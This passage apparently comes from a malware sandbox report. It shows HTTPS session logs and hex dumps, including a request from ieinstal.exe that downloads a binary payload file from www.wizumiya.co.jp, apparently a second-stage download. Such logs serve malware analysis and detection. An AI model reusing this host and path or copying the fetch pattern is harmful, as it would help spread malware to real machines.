                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:21:02 UTC368INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:21:02 UTC384INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:21:02 UTC400INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:21:02 UTC416INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:21:02 UTC432INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:21:02 UTC448INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            1192.168.2.34975852.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:22:58 UTC463OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:22:58 UTC463INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:22:58 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:22:59 UTC463INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:22:59 UTC479INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:22:59 UTC495INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
                            2022-01-21 16:22:59 UTC511INData Raw: 38 c4 24 ea 08 cd 7c 6a 73 ba 24 08 b9 e0 4f 7e af 33 e2 19 9b bb 20 6c 2f 93 28 1b 7c be 18 8d 3f db 17 ca 66 7c a5 60 53 aa 1d 7d a1 a0 fe 12 b2 d0 cc 0e 13 f5 6f 85 1a 44 9b 1f 96 60 a3 85 d0 0c 79 b5 24 84 12 77 43 27 11 0d b0 10 e6 23 31 fb 58 88 50 95 8b e4 c9 37 66 26 7e e4 8f c9 34 7b 77 8a b5 8d 35 e4 5d 62 f6 59 02 8a 81 74 57 92 f8 a0 5b e3 36 1a 6a 30 79 35 3b d1 a3 d5 29 9c c0 55 8d d4 bb 32 5d 84 31 df d0 8d 72 b9 62 5c 76 4b ca 8f de f6 e4 85 ba ee b5 f6 72 e6 1c 3e 19 b4 e5 63 17 0c 7e 1b 9f 0a af 2b b4 89 f1 5c b0 62 a9 68 60 a7 aa 87 b3 fb 19 7b db a7 ff 7d 15 8c cf 56 a1 f6 0b ce 7e e2 86 ac fa 87 7a 7f 61 3a 9b 77 59 f2 94 9e 41 40 c9 3c d5 ff e9 66 f0 0f db f1 27 d7 8d de 16 d7 c0 ac 97 1f 4a 97 4d 85 e2 4b 4e bd f9 88 12 c1 ed 5c b3
                            Data Ascii: 8$|js$O~3 l/(|?f|`S}oD`y$wC'#1XP7f&~4{w5]bYtW[6j0y5;)U2]1rb\vKr>c~+\bh`{}V~za:wYA@<f'JMKN\
                            2022-01-21 16:22:59 UTC527INData Raw: 97 6b 23 f2 7b 2a f2 89 85 30 49 56 4d 33 2f f8 09 e4 86 51 19 64 98 d7 ea e7 bd a5 33 57 a7 26 6c 2b b4 58 75 da 49 53 9a 46 59 95 54 82 b4 c3 23 f7 b7 ec 41 12 18 3b 65 2b b6 45 0a a8 5f ad ff 7e c9 0e cb 75 7f 02 f1 6e 93 70 8f b2 8c e8 ca 2d 76 64 df 82 34 0c 53 d1 9c af 41 19 86 eb 59 ea 72 5f d9 0d 16 ab 9b f3 17 33 ef 57 0a 93 df ba 70 40 74 87 db bb 8b 2e 16 24 12 b0 be 07 ec 19 c4 a1 54 00 39 59 d5 b6 ca 2e d0 20 27 1b f8 ee 80 40 0c 97 77 d6 96 32 8b b7 10 21 dd 50 90 e3 19 13 d7 10 08 31 a5 90 73 26 44 e5 a5 db 38 b4 6d 62 1d 19 9b 3c 46 be e8 e7 a2 f5 ff 78 be 05 fb 99 48 af 7f 99 a6 ff 78 74 e8 8f a2 ab 8f b5 d2 8c 34 49 ac 62 b7 d0 8d f7 be 21 b2 c0 f1 89 94 88 c0 85 f7 54 f2 c3 c0 8c 99 55 80 9b 33 cc 7f 49 23 58 3f cc c0 59 ef 0a 58 a4 be
                            Data Ascii: k#{*0IVM3/Qd3W&l+XuISFYT#A;e+E_~unp-vd4SAYr_3Wp@t.$T9Y. '@w2!P1s&D8mb<FxHxt4Ib!TU3I#X?YX
                            2022-01-21 16:22:59 UTC543INData Raw: fe 8c 68 4e a7 9f ad a2 e6 6b fb 0b 65 9f b5 28 4c 25 51 f1 1e 53 7e 12 a4 01 0a f5 5a 7b a6 a4 1e 99 12 ad 7d 31 35 14 2c 71 2a a1 7d 44 68 7e 84 66 02 a9 4e 73 6b e2 b6 0d 2f 5e 47 56 65 76 09 2c ea da 86 2c 16 67 ca cf 26 4b 18 13 fd 12 cf 2e cc 8d 13 48 aa d4 35 67 7e 95 c6 34 53 00 d2 84 8c dd 90 1f c4 44 1b ff 4f fc c7 55 fc d3 e0 3e 37 fa 47 a7 30 f0 65 d4 c4 52 0d 06 dd 77 f6 a1 ab 2f 10 4c 38 ec 9f a1 08 5f ae 35 34 43 22 86 9b 1b 1c f2 65 a0 5c ad 64 b2 a9 e7 c7 78 a1 53 c6 e5 9f b4 c0 ea ab 21 9d 37 4b cd dc cd 7a 1f a5 fb 86 f9 c5 59 5b 97 33 f0 79 42 60 14 09 cf 3d 07 6b 76 6e 42 d5 ae 80 4e 76 84 ba 04 6c ec 44 a9 e6 28 f8 2b f5 34 c5 52 71 14 06 bf 63 98 95 ac e9 69 02 a9 c1 51 9f b3 52 57 db b4 f0 08 1c a3 91 d0 dc fb f6 fb d9 aa a1 53 47
                            Data Ascii: hNke(L%QS~Z{}15,q*}Dh~fNsk/^GVev,,g&K.H5g~4SDOU>7G0eRw/L8_54C"e\dxS!7KzY[3yB`=kvnBNvlD(+4RqciQRWSG
                            2022-01-21 16:22:59 UTC559INData Raw: 88 12 47 72 b6 2d 81 93 4f 9f 0e ff 1c a1 d7 3d bb d5 03 c2 f1 bf 12 71 46 d4 18 e9 d7 2d 81 5f a5 ea df 91 84 2d 05 57 c8 6e 17 34 38 a4 45 3a 23 64 87 b6 9d 47 ae d9 0c 8a a2 39 2e 48 d9 4e 94 a7 54 fb 37 59 cf 82 b2 f0 11 33 97 18 da 84 31 a2 64 67 80 43 a0 c6 25 ec 87 c0 97 cd 2a 91 4d 61 cd 0b eb 97 42 d8 6f d2 6d fd ef 6b 93 9d 07 3c f2 e2 88 53 09 e1 00 06 d3 bf af 29 7e 00 39 7f 2a 01 f4 9a 3f 88 1e 4a b2 f1 03 d2 fe 01 40 98 85 ea 65 84 cc 8a ba 28 f5 57 ba 6a 82 19 84 61 76 71 01 f6 47 59 c3 85 15 a1 9a 63 b2 48 7c e1 26 77 6d 8a ef 4e 0e 6e cc 32 ef 95 f5 f9 93 32 19 f4 01 e5 64 08 45 36 3f 3e 79 de 83 49 65 35 31 01 b5 ac 41 36 b0 0b 8d cb 45 bf 53 7d 84 d4 c0 46 00 ef 92 0b 5a 42 a0 c9 3f 71 ce a2 6f 6a 49 3e 63 88 0e b7 9e 2e e3 b8 b3 6b 04
                            Data Ascii: Gr-O=qF-_-Wn48E:#dG9.HNT7Y31dgC%*MaBomk<S)~9*?J@e(WjavqGYcH|&wmNn22dE6?>yIe51A6ES}FZB?qojI>c.k
                            2022-01-21 16:22:59 UTC575INData Raw: 00 08 95 ca 65 6f ce 24 2c 62 fb d7 28 7f ad 29 26 d9 67 a9 7b 98 15 09 34 3d c0 7d ad bf a4 fe 6b 7e 43 b4 8f 84 c3 e4 0b 30 c0 90 3f c2 05 9e fa 19 59 f9 58 d9 44 30 76 29 04 28 2d d8 32 4c 56 ee f1 89 e1 7d 32 4f a9 60 5e 38 1c 8c 71 70 32 ac 05 2f 87 ba ec 15 c0 fc fa 47 f2 cc 6f f9 f0 6f 02 b3 05 c5 e0 c0 4b 44 80 ee 81 ea 23 c8 91 cb 45 f0 47 07 47 87 86 86 25 01 26 ba f9 d5 dc e0 4c ba 5e 79 ab 7a 27 66 9f 4a 59 48 de 44 12 d9 26 7c 97 64 0e ae fd 5b 1d 2f 58 3a f1 16 20 5e 44 f3 b7 a9 d5 2a c7 f4 41 8e 74 d4 99 52 df cd 75 28 a7 b6 08 16 42 b6 32 e5 c8 29 a5 af 26 be 1a 1b 98 45 be db 7d e7 3a e4 bd a6 af 6d cd 5b 48 9a b2 bc 06 1d c6 39 47 5b fd 96 65 18 3e d1 1a c4 cd 38 9a 54 2c cb d1 31 ef e4 4c b1 06 78 cd b0 0f 16 e6 1a 9c e2 33 22 62 d9 20
                            Data Ascii: eo$,b()&g{4=}k~C0?YXD0v)(-2LV}2O`^8qp2/GooKD#EGG%&L^yz'fJYHD&|d[/X: ^D*AtRu(B2)&E}:m[H9G[e>8T,1Lx3"b
                            2022-01-21 16:22:59 UTC591INData Raw: 83 3e b4 b6 b6 48 25 99 5b 7d 36 18 81 c0 2a 9f 8b 5e 5f 1a fc 3b 1b 89 78 b8 95 a1 9b 55 54 73 f2 60 7b e0 6a 15 93 17 f5 a6 64 0d 19 5d e4 cc db 0d 7e f0 55 78 d8 be 8d f6 97 da 62 55 53 e1 3f 1f cf f9 5f ce 7e a3 5d c9 75 10 0e e1 da 98 95 2d b1 08 f8 c0 a8 c4 83 b9 15 df 43 e0 51 68 20 78 aa 3f f0 44 15 3f 14 59 1e 52 e7 9f c0 0c b8 28 f6 99 74 60 67 43 ee 3d 49 b2 8b 60 02 bc 80 cc b4 a3 18 0c ba ba ff 1c a1 d8 ee ac 7a b6 77 49 e8 99 9d 4c e8 79 a5 f3 4d 3a 36 56 27 df 43 fe 7e f3 90 23 2e b6 a0 c4 a6 23 56 8d ba 7f 5e 0f b9 62 9d 64 9e de c1 c3 4f e6 82 d9 68 0d db de 8f c9 bc 7e a6 66 df e8 64 c9 55 85 de 03 2a ab d7 c0 00 b7 12 fb a1 51 9d f0 9e c7 84 90 4b 0e 89 37 8b 13 50 6c 0e 77 a7 c5 39 06 b3 1a 9e ff ed f6 d8 4a 48 56 e6 25 68 7e 99 71 3c
                            Data Ascii: >H%[}6*^_;xUTs`{jd]~UxbUS?_~]u-CQh x?D?YR(t`gC=I`zwILyM:6V'C~#.#V^bdOh~fdU*QK7Plw9JHV%h~q<
                            2022-01-21 16:22:59 UTC607INData Raw: 2d 81 3f a1 df 49 bf a7 24 8d 87 61 fb ee b8 33 f8 1c 87 29 dd f5 2e af d3 34 4e 47 dd 77 58 b1 97 22 5f f3 02 cd 72 3a 8d 09 20 1f 3f 48 e9 7b 0e e6 8b 06 44 fb 58 28 20 80 16 64 96 0d a9 96 06 ff e7 d8 8e ff dc 4a a2 70 ab 1c 32 a0 1e 87 33 49 3e 5c 09 5b bc 43 e9 6d a7 0e 1d 5d 33 80 44 e3 bc b9 79 b4 f8 47 47 4d 4f b8 bf 98 82 5a c4 a3 d4 82 b2 a1 0b 7c e2 a4 bd 49 f7 71 e1 6b 37 24 53 b3 1f db b8 b0 65 71 9c 52 33 84 e5 06 09 e3 e6 ea 0f 11 b0 f1 1a 51 40 5b fd bd 90 c9 47 81 05 cb 43 5e 7e f8 38 a9 8d fa 21 a3 40 e7 e9 2f 40 0d be 2d f4 ca d5 ab 6e 27 19 ad 67 f7 30 e2 07 89 96 e4 d6 1f 5b 32 22 df dc 3a 96 8f 82 db 89 95 e3 b2 56 ef b0 0d b9 7f fa 3b 80 32 4c 8e 45 90 49 c3 22 45 1f 11 17 fb a0 01 27 cf ee 11 e8 44 5f f0 db ae d7 32 30 c1 eb 33 39
                            Data Ascii: -?I$a3).4NGwX"_r: ?H{DX( dJp23I>\[Cm]3DyGGMOZ|Iqk7$SeqR3Q@[GC^~8!@/@-n'g0[2":V;2LEI"E'D_2039
                            2022-01-21 16:22:59 UTC623INData Raw: 59 8c 37 68 a1 e4 f8 d4 fe 00 41 0c 31 ae 33 0f 5f f4 9d 18 36 fa 1b e8 d8 df 88 44 a2 14 f9 05 ed 4d 09 0a 4d 6b 9d bc 44 04 55 3a 75 9a 38 3c d6 72 cc 25 bf 1d e0 a0 f1 cf 64 12 c1 f9 c2 99 87 6e ae b4 51 66 fe c5 23 70 76 4e 2b ff cf 7f c4 8b b9 8e e9 f7 90 a6 c1 2c 23 87 1e a8 18 ac e7 ad 02 07 61 e1 56 2f 5d eb 5c 10 7b f8 45 4c 67 cf 85 fd f8 6e 31 71 91 8d 06 9a bd 06 6e 4b 6b b0 be 50 d2 2f 75 36 ce 29 5c b5 5a 35 70 d6 ea 7f fb 62 7f 05 83 c1 a7 0b c6 c5 be 4f 6c 1f 28 82 06 19 62 97 a6 02 d0 9c ab 91 be a9 f5 9e 83 ed 97 63 6f c1 4e d2 83 e7 1e d6 5c f4 a5 cc 3e 28 c3 4d fc 5d 6e ab ad 19 25 bf f2 93 fc a9 f4 17 30 40 d3 fd 3c d5 27 2f 6a 99 a5 d0 f5 27 5c c8 50 ef 6f c5 05 e1 ad e1 44 5b f2 50 fe e2 41 72 64 c8 ed ee a0 fe f9 f8 9e 76 0e d5 10
                            Data Ascii: Y7hA13_6DMMkDU:u8<r%dnQf#pvN+,#aV/]\{ELgn1qnKkP/u6)\Z5pbOl(bcoN\>(M]n%0@<'/j'\PoD[PArdv
                            2022-01-21 16:22:59 UTC639INData Raw: 44 9e c7 54 d0 52 ba 58 c7 f8 6e 01 fc d7 37 ee 6d 94 1f 25 53 85 cb 84 77 6a 4a 21 28 cf d9 1a c9 7b 0a a1 c4 57 bc 51 06 f6 66 4a 96 7e 8f 3b 66 0f 2f b0 f0 5f 7d c3 a6 10 60 34 7b c3 75 7f 0e 59 84 82 c8 35 e7 7b 16 c6 25 42 97 4f 38 7b cc 54 56 6a f1 c5 c8 b2 8b 16 20 f2 57 fd 40 5c bb e4 96 0b 46 91 68 26 7a 05 00 bd 03 e6 e3 8e c6 8c 1e c8 73 78 b4 33 c9 e0 01 27 e0 da 33 06 1f 2b a0 9b d3 2f 35 cc 0e 5d 6d 12 c1 f1 69 a0 aa fe 9a 34 fd 94 86 2a 0e 9f fc 9c 20 5e 77 2c 7d 05 39 ac 73 cf 09 7f 16 71 c3 39 a0 06 6f cb b4 8d be 00 eb 37 64 5e 7b 2c dc 13 24 85 15 0e 11 2e fe 04 7c 00 70 a2 53 f5 72 c6 76 f2 34 b3 16 3e 65 f8 da de 57 7f d0 39 87 a8 3e e1 1b 37 bf 7b 01 85 f1 73 8d 32 cf b8 20 01 d0 cb d1 7a 04 1a 84 f8 a4 af d0 1d 47 66 85 8c 88 c0 5e
                            Data Ascii: DTRXn7m%SwjJ!({WQfJ~;f/_}`4{uY5{%BO8{TVj W@\Fh&zsx3'3+/5]mi4* ^w,}9sq9o7d^{,$.|pSrv4>eW9>7{s2 zGf^
                            2022-01-21 16:22:59 UTC655INData Raw: 47 01 a2 ba 0b ed 82 56 90 0e da cd e0 47 d8 38 97 ed 33 9a 1b 1d 7b c0 42 0b b3 d8 66 38 ab e9 92 9f 1b 6c a1 1b 4b b5 66 1a df 34 30 d7 5a 26 69 f0 88 89 dd e6 a0 ab 30 09 c1 23 0b b9 a1 64 12 5f 10 dc 45 29 40 e5 44 cc 2e 05 e1 b5 0e 9a 5f 70 9c ae f5 f7 01 67 72 a1 73 3a c9 1f 1c c4 46 db f7 36 c3 37 70 01 1d a6 3e 1f b3 7e 8b 30 c8 13 a8 5e 44 f2 39 26 62 2a 27 eb 03 58 ca 37 69 2c a1 08 98 28 68 01 05 11 47 fd 20 5f 9e 12 b0 04 bf ed 6c 10 64 01 cc 9e 54 ea e5 08 a4 bf a7 aa c9 98 42 30 0b 5b 29 27 dc f3 b7 3a 24 be 15 57 1d c2 18 e4 ad 71 bb 31 ff 7e 54 32 37 a0 84 00 be ba c1 23 25 70 e7 8a f9 bd 5f 2c 8b 80 ef 78 41 78 8d e0 21 85 c5 ee 61 2f 64 a2 d6 4f 8a ba 8f c3 05 70 dc 09 9b 1c 5e e3 bc 99 31 29 42 17 91 2c 05 99 63 08 96 f8 06 6e 7d 6c 68
                            Data Ascii: GVG83{Bf8lKf40Z&i0#d_E)@D._pgrs:F67p>~0^D9&b*'X7i,(hG _ldTB0[)':$Wq1~T27#%p_,xAx!a/dOp^1)B,cn}lh
